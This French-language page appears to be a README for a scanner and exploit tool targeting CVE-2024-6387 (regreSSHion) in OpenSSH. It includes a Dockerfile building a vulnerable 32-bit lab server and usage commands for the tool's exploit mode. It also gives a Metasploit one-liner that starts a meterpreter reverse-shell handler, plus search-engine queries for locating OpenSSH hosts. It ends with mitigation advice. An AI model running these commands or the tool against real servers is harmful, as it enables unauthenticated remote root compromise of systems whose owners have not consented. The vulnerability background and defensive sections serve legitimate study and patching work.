
Scanne et exploite CVE-2024-6387 (regreSSHion) dans les serveurs OpenSSH. Dispose d'un scan multi-thread, de la récupération de bannière, de la détection du temps de grâce et d'un mode d'exploitation avec payload de shell inversé.
Il s'agit essentiellement d'une vulnérabilité statistique : un grand nombre de tentatives est nécessaire pour gagner la course et exécuter avec succès du code arbitraire. Les attaquants doivent surmonter de nombreux obstacles, a déclaré Schwartz à SecurityWeek. « Même dans le scénario le plus favorable, la vulnérabilité la plus connue prend plus de 4 heures à exploiter. »
Dans les notes de version d'OpenSSH 9.8, les développeurs ont indiqué que la vulnérabilité n'a été confirmée que sur les systèmes Linux 32 bits basés sur glibc, et qu'OpenBSD n'est pas concerné.
L'environnement est configuré à l'aide de Docker.
# 1.1. Rédaction du Dockerfile
FROM i386/ubuntu:20.04
ENV DEBIAN_FRONTEND=noninteractive
RUN dpkg --add-architecture i386 && apt-get update && apt-get install -y \
build-essential \
wget \
curl \
libssl-dev:i386 \
zlib1g-dev:i386
RUN groupadd sshd && useradd -g sshd -s /bin/false sshd
RUN wget https://cdn.openbsd.org/pub/OpenBSD/OpenSSH/portable/openssh-9.2p1.tar.gz && \
tar -xzf openssh-9.2p1.tar.gz && \
cd openssh-9.2p1 && \
./configure && make && make install
RUN mkdir /var/run/sshd
RUN echo 'root:password' | chpasswd
RUN sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /usr/local/etc/sshd_config && \
sed -i 's/#PasswordAuthentication yes/PasswordAuthentication yes/' /usr/local/etc/sshd_config && \
echo 'MaxStartups 100:30:200' >> /usr/local/etc/sshd_config
RUN echo '#!/bin/bash\n/usr/local/sbin/sshd -V' > /show_version.sh && \
chmod +x /show_version.sh
EXPOSE 22
CMD ["/usr/local/sbin/sshd", "-D"]
sudo docker build --platform=linux/386 -t vulnerable-openssh:9.2p1 .
sudo docker run --platform=linux/386 -d -p 2222:22 --name vuln-ssh-32bit vulnerable-openssh:9.2p1
CVE-2024-6387.py - PoCL'exploit fonctionne UNIQUEMENT sur les serveurs OpenSSH 32 bits. Cela est dû au fait que le POC utilise des pointeurs 32 bits ! Il est également connu que certaines versions sont déjà corrigées, et que tous les serveurs ne sont pas vulnérables. Testé sur : Kali Linux, ParrotSec, Ubuntu 22.04
Vulnérabilité d'exécution de code arbitraire à distance sans authentification dans le serveur OpenSSH
CVE-2024-6387.py est un outil léger et efficace conçu pour identifier les serveurs exécutant des versions vulnérables d'OpenSSH, ciblant spécifiquement la vulnérabilité regreSSHion récemment découverte (CVE-2024-6387). Ce script facilite l'analyse rapide de plusieurs adresses IP, noms de domaine et plages réseau CIDR pour détecter les vulnérabilités potentielles et garantir la sécurité de votre infrastructure.
Une condition de course dans le gestionnaire de signaux a été découverte dans le serveur OpenSSH (sshd), où lorsqu'un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut, 600 dans les anciennes versions d'OpenSSH), le gestionnaire SIGALRM de sshd est appelé de manière asynchrone. Cependant, ce gestionnaire de signaux appelle diverses fonctions qui ne sont pas sûres pour les signaux asynchrones, par exemple syslog().
Vous pouvez trouver les détails techniques ici.
La faille, découverte par les chercheurs de Qualys en mai 2024, et identifiée sous l'identifiant CVE-2024-6387, est due à une condition de course dans le gestionnaire de signaux de sshd qui permet à des attaquants distants non authentifiés d'exécuter du code arbitraire en tant que root.
« Si un client ne s'authentifie pas dans le délai LoginGraceTime (120 secondes par défaut), le gestionnaire SIGALRM de sshd est appelé de manière asynchrone et appelle diverses fonctions qui ne sont pas sûres pour les signaux asynchrones. »
« Un attaquant distant non authentifié peut tirer parti de cette faille pour exécuter du code arbitraire avec les privilèges root. »
Exigence : python3 dernière version
### Arguments de la ligne de commande
mode: Sélectionne le mode de fonctionnement. Les choix sont scan ou exploit.
-T, --targets: Adresses IP, noms de domaine, chemins de fichiers contenant des adresses IP, ou plages réseau CIDR.
-f, --outputfile: Fichier pour enregistrer les résultats (par exemple, result.json).
-g, --gracetimecheck: Temps en secondes à attendre après l'identification de la version pour vérifier l'atténuation LoginGraceTime (défaut : 120 secondes).
-n, --nic: Interface réseau (défaut : 'eth0').
-o, --output: Format de sortie pour les résultats (choix : 'csv', 'txt', 'json').
-p, --port: Numéro de port à vérifier ou à exploiter (défaut : 22).
-s, --speed: Nombre de threads pour augmenter les chances de condition de course (défaut : 10).
-t, --timeout: Délai de connexion en secondes (défaut : 1 seconde).
-H, --resolve-hostnames: Résoudre les noms d'hôtes
python3 CVE-2024-6387.py scan -T example.com -p 22
python3 CVE-2024-6387.py exploit -T example.com -p 22 -n eth0
Tout ce que vous avez à faire est d'exécuter la commande ci-dessous en premier (modifiez le gestionnaire {yourip}) puis d'exécuter l'exploit ensuite avec la commande ci-dessus
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST {yourip}; set LPORT 9999; exploit -j"
L'outil fournit une sortie codée par couleur sur la console pour une meilleure lisibilité :
Vert : Connexion ou opération réussie. Rouge : Connexion échouée ou erreur. Jaune : Avertissements ou informations notables. Cyan : Informations générales ou mises à jour de statut.
/product.name="OpenSSH"app="OpenSSH"product:"OpenSSH"(openssh) and labels=remote-accessGestion des correctifs : L'application rapide des correctifs disponibles pour OpenSSH est essentielle pour combler la fenêtre de vulnérabilité. Un correctif en temps opportun garantit que les exploits connus ne peuvent pas être utilisés contre vos systèmes, réduisant ainsi la fenêtre d'opportunité pour les attaquants.
Contrôle d'accès renforcé : La limitation de l'accès SSH via des contrôles basés sur le réseau ajoute une couche de défense supplémentaire. Cette approche minimise l'exposition aux attaquants potentiels en restreignant les connexions SSH aux seuls réseaux ou adresses IP autorisés. La mise en œuvre d'outils tels que des règles de pare-feu ou l'utilisation de VPN pour un accès sécurisé peut appliquer efficacement ces restrictions.
Segmentation du réseau : La division de votre réseau en segments aide à contenir l'impact d'une éventuelle violation. En séparant les systèmes critiques et les données sensibles des parties moins critiques de votre réseau, vous réduisez le risque de mouvement latéral par les attaquants. Cette segmentation peut être complétée par des contrôles d'accès stricts et une surveillance pour détecter et répondre à toute tentative non autorisée de franchir ces segments.
Systèmes de détection d'intrusion (IDS) : Le déploiement d'IDS ou de systèmes de prévention d'intrusion (IPS) permet une surveillance en temps réel du trafic réseau et des journaux système. Ces systèmes peuvent détecter les activités suspectes et les tentatives d'exploitation potentielles associées à la vulnérabilité regreSSHion. Les alertes déclenchées par ces systèmes permettent une enquête et une atténuation rapides avant que des dommages importants ne puissent survenir.
Surveillance des tentatives d'exploitation : La surveillance continue des journaux réseau et système est cruciale. Recherchez tout modèle ou activité inhabituel qui pourrait indiquer une tentative d'exploitation de la vulnérabilité OpenSSH. Cette approche proactive aide à identifier et à répondre aux menaces avant qu'elles ne puissent causer des dommages.